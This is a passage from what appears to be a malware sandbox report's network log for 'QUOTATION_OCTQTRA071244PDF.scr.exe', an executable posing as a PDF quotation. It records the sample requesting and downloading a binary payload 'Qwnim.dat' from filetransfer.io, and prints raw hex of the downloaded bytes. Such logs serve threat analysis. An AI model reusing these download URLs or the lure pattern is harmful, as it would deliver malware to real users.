&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 Data Ascii: Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a Data Ascii: Sv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 Data Ascii: ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50025	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:14 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:15 UTC	1064	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=vca0s3o850bgpgfckkjca455bm; expires=Fri, 18-Oct-2024 09:24:14 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/8hFS5k720mAD cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PBBC7zLM3U0u%2F5ZIvT1T4DGxKRe5TC2f7BFkLUNE83UbA8Vj30hEDOh4DY0%2Fhb9DIsLNwyi8CQOBoCYYoNyuzKnJ3aVmfXhjUNYDoe16h2poxkTFXL9JKhcwMp6SkD5WQfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e266a9f42b5-EWR
2024-10-04 09:24:15 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 38 68 46 53 35 6b 37 32 30 6d 41 44 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/8hFS5k720mAD">Please click here to continue</a>.</p>
2024-10-04 09:24:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50030	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:15 UTC	98	OUT	GET /storage/download/8hFS5k720mAD HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:16 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:16 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=b2aafc48b7704e3ba6ca165355f4a883; expires=Fri, 18-Oct-2024 09:24:16 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O7bntUUd84A1F7g76awKcrBgG01rym9GApFY4OMs1XasECnack6ZMvn4oqjLTPcv7yqyHAukEsorj39NxK6zlpevCh32WbnTBO%2BaJb7D5EFUF%2BqgWBG2b7wTW%2FeZKi%2BxXjIaB33g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41e2e8d898cc8-EWR
2024-10-04 09:24:16 UTC	347	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e Data Ascii: >g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 Data Ascii: !8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 Data Ascii: \!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d Data Ascii: v5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQ
2024-10-04 09:24:16 UTC	1369	IN	Data Raw: 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50056	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:19 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:19 UTC	1072	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=lr3q26qnj0bqi6re21e1eq9dlu; expires=Fri, 18-Oct-2024 09:24:19 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/FMdaPuCZHHPj cf-cache-status: DYNAMIC Report-To: 